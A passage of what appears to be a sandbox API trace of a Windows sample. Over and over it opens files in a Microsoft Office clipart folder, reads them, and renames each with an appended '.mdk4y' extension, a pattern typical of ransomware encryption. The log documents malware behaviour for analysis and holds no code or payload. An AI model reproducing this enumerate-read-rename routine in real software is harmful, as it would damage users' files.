lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821178400000) returned 1 [0136.554] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4a7c, lpOverlapped=0x0) returned 1 [0136.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187000000) returned 1 [0136.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187000000) returned 1 [0136.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.mdk4y")) returned 1 [0136.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.641] AreFileApisANSI () returned 1 [0136.641] GetACP () returned 0x4e4 [0136.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01629_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01629_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187100000) returned 1 [0136.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x244, lpOverlapped=0x0) returned 1 [0136.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187200000) returned 1 [0136.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187200000) returned 1 [0136.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.mdk4y")) returned 1 [0136.643] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.644] AreFileApisANSI () returned 1 [0136.644] GetACP () returned 0x4e4 [0136.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01630_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01630_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187400000) returned 1 [0136.644] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x128, lpOverlapped=0x0) returned 1 [0136.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187500000) returned 1 [0136.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187500000) returned 1 [0136.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.mdk4y")) returned 1 [0136.645] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.646] AreFileApisANSI () returned 1 [0136.646] GetACP () returned 0x4e4 [0136.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01631_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01631_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187600000) returned 1 [0136.646] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x228, lpOverlapped=0x0) returned 1 [0136.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187700000) returned 1 [0136.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187700000) returned 1 [0136.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.mdk4y")) returned 1 [0136.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.647] AreFileApisANSI () returned 1 [0136.647] GetACP () returned 0x4e4 [0136.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01761_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01761_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821187800000) returned 1 [0136.648] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1034, lpOverlapped=0x0) returned 1 [0136.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821193500000) returned 1 [0136.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821193500000) returned 1 [0136.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.mdk4y")) returned 1 [0136.706] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.706] AreFileApisANSI () returned 1 [0136.706] GetACP () returned 0x4e4 [0136.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01772_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01772_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821193700000) returned 1 [0136.707] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8fc, lpOverlapped=0x0) returned 1 [0136.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821195000000) returned 1 [0136.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821195000000) returned 1 [0136.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.mdk4y")) returned 1 [0136.721] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.721] AreFileApisANSI () returned 1 [0136.721] GetACP () returned 0x4e4 [0136.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01793_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01793_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.721] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821195100000) returned 1 [0136.721] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcb4, lpOverlapped=0x0) returned 1 [0136.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821197000000) returned 1 [0136.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821197000000) returned 1 [0136.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.mdk4y")) returned 1 [0136.741] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.741] AreFileApisANSI () returned 1 [0136.741] GetACP () returned 0x4e4 [0136.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EAST_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EAST_01.MIDF", lpUsedDefaultChar=0x37df4c) returned 11 [0136.741] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821197100000) returned 1 [0136.741] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1815, lpOverlapped=0x0) returned 1 [0136.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821199200000) returned 1 [0136.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821199200000) returned 1 [0136.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.mdk4y")) returned 1 [0136.763] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.763] AreFileApisANSI () returned 1 [0136.763] GetACP () returned 0x4e4 [0136.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ED00010_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ED00010_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821199400000) returned 1 [0136.764] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x566, lpOverlapped=0x0) returned 1 [0136.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821204200000) returned 1 [0136.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821204200000) returned 1 [0136.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.mdk4y")) returned 1 [0136.813] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.813] AreFileApisANSI () returned 1 [0136.813] GetACP () returned 0x4e4 [0136.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ED00019_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ED00019_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.814] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821204400000) returned 1 [0136.814] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32f2, lpOverlapped=0x0) returned 1 [0136.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821207200000) returned 1 [0136.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821207200000) returned 1 [0136.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.mdk4y")) returned 1 [0136.843] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.843] AreFileApisANSI () returned 1 [0136.843] GetACP () returned 0x4e4 [0136.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ED00172_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ED00172_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821207300000) returned 1 [0136.844] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa8c, lpOverlapped=0x0) returned 1 [0136.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821209400000) returned 1 [0136.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821209400000) returned 1 [0136.864] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.mdk4y")) returned 1 [0136.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.865] AreFileApisANSI () returned 1 [0136.865] GetACP () returned 0x4e4 [0136.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ED00184_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ED00184_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821209500000) returned 1 [0136.865] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b2e, lpOverlapped=0x0) returned 1 [0136.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821211500000) returned 1 [0136.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821211500000) returned 1 [0136.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.mdk4y")) returned 1 [0136.887] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.887] AreFileApisANSI () returned 1 [0136.887] GetACP () returned 0x4e4 [0136.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00006_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00006_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821211800000) returned 1 [0136.888] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3670, lpOverlapped=0x0) returned 1 [0136.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821215900000) returned 1 [0136.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821215900000) returned 1 [0136.929] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.mdk4y")) returned 1 [0136.930] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.930] AreFileApisANSI () returned 1 [0136.930] GetACP () returned 0x4e4 [0136.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00202_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00202_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.930] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821216100000) returned 1 [0136.931] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b1a, lpOverlapped=0x0) returned 1 [0136.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821218500000) returned 1 [0136.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821218500000) returned 1 [0136.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.mdk4y")) returned 1 [0136.956] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0136.956] AreFileApisANSI () returned 1 [0136.956] GetACP () returned 0x4e4 [0136.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EN00222_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EN00222_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0136.956] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0136.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821218700000) returned 1 [0136.957] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, 